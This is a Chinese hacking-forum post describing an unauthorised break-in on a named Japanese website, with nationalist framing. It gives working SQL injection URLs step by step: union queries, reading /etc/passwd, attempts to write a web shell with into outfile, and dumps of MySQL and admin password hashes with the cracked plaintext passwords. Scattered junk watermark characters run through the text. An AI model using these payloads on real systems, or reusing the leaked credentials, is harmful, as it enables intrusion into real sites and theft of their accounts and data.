原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

0x01. 检测 www.zuaa.jp 收集数据


, z. u8 x. T" Q6 |  Twhatweb


4 l7 z  b+ P4 E8 ?8 B7 _% m利用NMAP扫描

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
4 k8 @/ c) n; W/ M% l7 O3 U. i0x02.找注入点
找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390
$ ?6 M- w, }' B
4 T6 Z* r% b. s7 ]; p) _
0x03.order by
* a% k/ X$ ]1 E7 ], i             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1
1 v$ r: E& u* i& I1 a
order by 28报错，order by 27正常
% }2 J4 r4 U4 B  y
0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
( O% P2 f% `1 c* l. j9 {( f- W3 `添加到 27 时正常显示
3 J7 o- Z% |' l/ o" D/ q  q7 {
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
1 o" e  @* P5 `3 D, }
* u; |* ?) k8 x4 N* |0x05. info:
- ^/ g0 [+ h0 C9 h# ehttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

user:            root@localhost
database:    openpne
- O! H% t0 {, d+ F& o% w8 Nversion:      4.1.22
os:             portbld-freebsd5.4

0x06. root用户
利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
4 ?  Q5 O5 Z& }4 V0 z! L" ~+ Shttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
: z9 I, \* n3 p
通过工具转换
  y- o. Y4 ]/ ]  H' y5 B. p- w
( j# h5 d8 b2 V, L& C1 X9 ^5 ?中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

1 p# u0 I1 W$ W; r0 j0x07. 利用 into outfile
( D, A' {% r& V" w* a全部都失败
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php
) V' f- Z- e4 n4 I
* l3 J( L5 ~% K: J8 v" Hhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

* D( R2 ~" F& o$ ]3 {; n5 m页面显示“MDB2 Error:syntax error”
! @& }% N4 y0 u
0x08. 利用 mysql 4.1
, X$ {- X& a1 R1 q8 U猜常规表名，字段未果 工具 sqlmap
! W$ N0 h2 D/ Q( a: [8 W2 v1 Z中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
% @/ U3 K$ W8 ?2 ^5 X) m/ K
" }2 w- h, I; ]- r/ [8 d8 d+ J( L
) P1 v0 p$ L+ @- \% @# k' H
0x09. 查找后台
! E* u) u. }% C, L利用 现有的各种 后台工具尝试都不行

0x10.  MySL外联方法
从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
; U% ?( F8 {" ]$ u# c1 T, c# [可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
+ d% B  U: g' l! X2 q3 Thttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user

  B6 k/ \  j! g' p+ c: v. h8 ?这个可以在 www.cmd5.com 解密
/ @! s- C. q% W. R& r* o) D$ Broot:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
' @2 a0 d2 f  A& K* echen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
openpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
zuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
- W' y) q4 e! p工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
/ S' O" Q! Q! Y! A4 m% I! H$ u
1 M) E5 G! f/ v- m; U, f, i' M9 ]9 m
- ?8 R  \, f* ^8 W* O, K+ t0x11. 网站突破
1 l1 Z  K- g( Q  f6 W% S3 g发现网站的源程序 openpne, google 下载 openpne 源码


  n; W) J. ?! Q; D7 _4 L0x12. 默认信息利用
! h3 v2 C" H# \( Qhttp://sns.zuaa.jp/?m=admin&a=page_login
- P7 K7 I. k- a
1 C  G) Y6 h# p8 t表名 (c_admin_user) ，字段名（username,password）
  H9 u8 S, V$ rhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user
* w' k) ?/ y* O! B
, q% y; I" Q4 h1 A3 v' f解密
8 T6 @# R( ~+ w& y6 v  E4 T% Uzuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
zuaajp:c0923ec5857796a393da99905008c176,          zju1897

; H9 F/ O4 @6 j8 E9 O中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

/ ?7 A% c$ v( k$ V/ L0 `7 Y, ^0x13. 登录后台
1 l+ V$ T3 v- |  Y


; S! U4 g3 B) H# G: [8 G0x14. 小结
; X  e& X1 W) a& j' w6 F) a3 s利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
# l" B# z; {/ u, T7 q( W------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
* C- T7 }' z) I5 B7 e: v7 u0 S
最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！
1 K5 |) V. W/ W

荒村狂客

哪个牛人 费的这劲 入侵的